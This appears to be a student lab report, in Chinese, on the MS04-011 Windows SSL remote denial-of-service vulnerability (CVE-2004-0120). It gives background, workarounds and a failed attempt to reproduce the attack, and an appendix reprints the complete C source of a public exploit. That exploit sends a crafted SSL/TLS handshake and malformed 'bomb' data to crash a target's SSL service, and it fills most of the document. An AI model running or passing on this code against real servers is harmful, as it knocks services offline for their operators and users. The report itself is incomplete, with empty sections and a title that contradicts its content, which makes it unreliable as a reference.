Microsoft Windows SSL远程拒绝服务漏洞( MS04-011)
--缓冲区溢出攻击攻击
sunjita 3/15/2006
1. 漏洞概况
这个漏洞最初由Tenable Network Security 的 John Lampe 发现,CVE 编号为CAN-2004-0120。
Microsoft Windows包含的SSL 库实现处理畸形SSL消息时存在问题,远程攻击者可以利用这个漏洞使系统停止对SSL 连接的响应,在Windows 2003系统中还可以使系统重新启动。Microsoft 安全套接字层 (SSL) 库中的拒绝服务漏洞会影响其对特制的 SSL 消息的处理方式。在 Windows 2000 和 Windows XP 中,此漏洞可能导致受影响的系统停止接受 SSL 连接。在 Windows Server 2003 中,此漏洞可能导致受影响的系统自动重新启动。注意:虽然攻击者无法利用拒绝服务漏洞来执行代码或提升权限,但此漏洞可能导致受影响的系统停止接受请求。
只有那些启用了 SSL 的系统会受到影响,通常仅仅是服务器系统。在任何受影响的系统中,默认情况下都不启用 SSL 支持。然而,在 Web 服务器中一般要使用 SSL ,以支持电子商务程序、网上银行以及其他要求安全通信的程序。采用防火墙最佳做法和标准的默认防火墙配置,有助于保护网络免受从企业防线外部发起的攻击。按照最佳做法,应使连接到 Internet 的系统所暴露的端口数尽可能少。 Windows NT 4.0 不受此漏洞影响。
SSL 漏洞 - CAN-2004-0120 的变通办法: Microsoft 已测试过以下变通办法。尽管这些变通办法不能从根本上纠正此漏洞,但它们有助于阻塞已知的攻击媒介。如果某种变通办法会导致功能下降,将在下面进行说明。
在防火墙处阻塞端口 443 和 636 ;端口 443 用于接收 SSL 通信。端口 636 用于 LDAP SSL 连接。将其阻塞在防火墙处,有助于保护位于防火墙后面的系统免受利用此漏洞进行的攻击。其他端口可能也会被用来利用此漏洞。然而,这里列出的端口是最常见的攻击媒介。 Microsoft 建议阻塞来自 Internet 的所有非法入站通信,以帮助防止可能利用其他端口进行的攻击。变通办法的影响:如果阻塞端口 443 或 636 ,受影响的系统就无法再接受使用 SSL 或 LDAPS 的外部连接。
2. 攻击过程的实例分析
首先需要搭建平台。第一天,搭建WinXP上的IIS 。建立SSL安全服务首先需要通过WEB默认属性中的"目录安全性"选项建立一个证书申请。得到证书文件 certreq.txt后,需要找一台认证服务器颁发证书。由于建立认证服务器比较繁琐,请李丹协助进行了证书发放。然后在服务器导入证书,选择加密访问通道,重启 IIS即可。但是使用找到的工具进行攻击后,攻击失败。怀疑是XP的 SP2已经补上了这个漏洞的原因;因此,当日下午借了一张没有打过任何SP的 Win2000的服务器版进行安装。第二天早上,按照先前的次序顺利的为IIS 5启动了 SSL通道,用工具进行攻击后依然无效。怀疑是工具无效导致。进行半个小时的工具搜索后,依然找不到新的工具。由于时间已经过去了1天多,为了控制进度,决定放弃工具查找。
4.分析
4.2 详细分析
原理是匹配攻击工具的shellcode 。攻击工具系网上搜索得到。
4.3 改进意见
5.影响系统
Microsoft Windows XP
Microsoft Windows 2003
Microsoft Windows 2000
补丁下载:
Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, 和Microsoft Windows 2000 Service Pack 4 :
Microsoft Windows XP and Microsoft Windows XP Service Pack 1 :
Microsoft Windows XP 64-Bit Edition Service Pack 1:
Microsoft Windows XP 64-Bit Edition Version 2003:
6. 对应BUG库
BUGTRAQ ID: 10115
CVE(CAN) ID: CVE-2004-0120
7. 附:攻击程序
/*
* Microsoft SSL Remote Denial of Service
* MS04-011
*
* Tested succesfully against IIS 5.0 with SSL.
*
* David Barroso Berrueta dbarroso s21sec com
* Alfredo Andres Omella aandres s21sec com
*
* S21sec - www s21sec com
*/
#include <stdio.h>
#include <stdlib.h >
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <string.h>
#include <arpa/nameser.h>
#include <errno.h>
int exist_host( char *, u_long *);
void init_hello(void);
/* begin cipher suites: */
char cipher_suites[] = /* 52 */
{0x00,0x39,0x00,0x38,0x00,0x35,0x00,0x16,0x00,0x13,0x00,0x0A,0x00,0x33,0x00
,0x32,0x00,0x2F,0x00,0x66,0x00,0x05,0x00,0x04,0x00,0x63,0x00,0x62,0x00,0x61
,0x00,0x15,0x00,0x12,0x00,0x09,0x00,0x65,0x00,0x64,0x00,0x60,0x00,0x14,0x00
,0x11,0x00,0x08,0x00,0x06,0x00,0x03};
/* begin binary data: */
char bin_data[] = /* 1308 */
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struct ssl_hello {
char handshake;
short version;
short length;
char client_hello;
char client_length[3];
short client_version;
int timestamp;
char random_bytes[28];
char session_id_length;
char session_id[32];
short cipher_length;
char cipher_suite[52];
char compression_length;
char compression_method;
} __attribute__((packed)) ssl_hello;
int tls;
int
main(int argc, char *argv[])
{
struct sockaddr_in addr;
int sock,i;
char buffer[32];
setvbuf(stdout, NULL, _IONBF, 0);
printf("\n<*> S21sec Microsoft IIS 5.0 SSL/TLS Remote DoS <*>\n\n");
tls=0;
if ((argc != 4) && (argc != 3))
{
printf(" Usage: %s [host] [port] {t}\n", argv[0]);
printf(" host - Host (name/IP) to connect to.\n");
printf(" port - TCP port to connect to.\n");
printf(" t - Enable TLS (disabled by default).\n\n");
exit(1);
}
if (argc == 4)
{
if ( strcmp(argv[3], "t"))
{
printf(" -> Ouch!! What is '%s'?\n\n",argv[3]);
exit(1);
}
else
{
tls=1;
bin_data[2]=0x01;
}
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
if ( exist_host( argv[1], (u_long *)&(addr.sin_addr.s_addr) ) )
{
printf(" -> Ouch!! Wrong or nonexistant host '%s'!!\n\n",argv[1]);
exit(1);
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf(" -> Error on socket(): %s\n", strerror(errno));
exit(1);
}
printf(" -> Connecting to %s:%s...",argv[1],argv[2]);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
printf("\n -> Error on connect(): %s\n", strerror(errno));
exit(1);
}
init_hello();
printf(" OK\n -> Sending %s Client Hello...",((tls)?"TLS":"SSL"));
if (write(sock, (void *)&ssl_hello, sizeof(struct ssl_hello)) == -1)
{
printf("\n -> Error on write(): %s\n", strerror(errno));
exit(1);
}
printf(" OK\n -> Waiting for %s Server Hello...",((tls)?"TLS":"SSL"));
if (read(sock, (void *)buffer, sizeof(buffer)) == -1)
{
printf("\n -> Error on read(): %s\n", strerror(errno));
exit(1);
}
printf(" OK\n -> Sending bomb...");
if (write(sock, (void *)bin_data, sizeof(bin_data)) == -1)
{
printf("\n -> Error on write(): %s\n", strerror(errno));
exit(1);
}
for (i=0; i<6 ; i++)
{
printf(" B00M!!");
usleep(350000);
}
close(sock);
printf("\n ->\n -> OK. If DoS has been worked you will not be able to negotiate %s with %s:%s\n\n",
((tls)?"TLS":"SSL"),argv[1],argv[2]);
exit(0);
}
int
exist_host( char *nom_host, u_long *bin_host )
{
struct hostent *hinfo;
struct sockaddr_in host_tmp;
struct in_addr host_binario;
memset( (char *)&host_tmp, 0, sizeof(host_tmp) );
memset( (char *)&host_binario, 0, sizeof(host_binario) );
host_tmp.sin_family = AF_INET;
if ( inet_aton( nom_host, &host_binario) )
{
memcpy( (char *)bin_host, (char *)&host_binario, sizeof(host_binario));
return 0;
}
if ( (hinfo = gethostbyname( nom_host )) ) /* Put nom_host into bin_host */
{
memcpy((char *)&host_tmp.sin_addr, hinfo->h_addr, hinfo->h_length);
memcpy((char *)bin_host, (char *) &host_tmp.sin_addr.s_addr,
sizeof( host_tmp.sin_addr.s_addr));
return 0;
}
return 1;
}
void
init_hello(void)
{
ssl_hello.handshake = 0x16;
if (!tls)
ssl_hello.version = htons(0x0300);
else
ssl_hello.version = htons(0x0301);
ssl_hello.length = htons(0x007f);
ssl_hello.client_hello = 0x01;
memcpy((void *)ssl_hello.client_length, (void *)"\x00\x00\x7b", 3);
if (!tls)
ssl_hello.client_version = htons(0x0300);
else
ssl_hello.client_version = htons(0x0301);
ssl_hello.timestamp = htonl(0x407babc0);
memset((void *) ssl_hello.random_bytes, 0x66, 28);
ssl_hello.session_id_length = 0x20;
memset((void *) ssl_hello.session_id, 0x66, 32);
ssl_hello.cipher_length = htons(0x0034);
memcpy((void *)ssl_hello.cipher_suite, (void *)cipher_suites, sizeof(cipher_suites));
ssl_hello.compression_length = 0x01;
ssl_hello.compression_method = 0x00;
}
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